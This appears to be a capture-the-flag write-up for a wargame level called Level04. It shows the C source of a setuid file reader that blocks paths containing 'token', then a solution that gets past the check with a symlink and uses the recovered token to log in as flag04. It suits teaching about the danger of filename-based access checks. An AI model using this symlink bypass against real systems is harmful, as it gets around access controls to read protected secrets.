level04.md

Level04

About

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :) To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.

Sources

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
	char buf[1024];
	int fd, rc;

	if(argc == 1) {
		printf("%s [file to read]\n", argv[0]);
		exit(EXIT_FAILURE);
	}

	if(strstr(argv[1], "token") != NULL) {
		printf("You may not access '%s'\n", argv[1]);
		exit(EXIT_FAILURE);
	}

	fd = open(argv[1], O_RDONLY);
	if(fd == -1) {
		err(EXIT_FAILURE, "Unable to open %s", argv[1]);
	}

	rc = read(fd, buf, sizeof(buf));
	
	if(rc == -1) {
		err(EXIT_FAILURE, "Unable to read fd %d", fd);
	}

	write(1, buf, rc);
}

Solutions

ln -s /home/flag04/token /tmp/target
/home/flag04/flag04 /tmp/target
Output:
06508b5e-8909-4f38-b630-fdb148a848a2

su flag04
Password: <-- 06508b5e-8909-4f38-b630-fdb148a848a2
/bin/getflag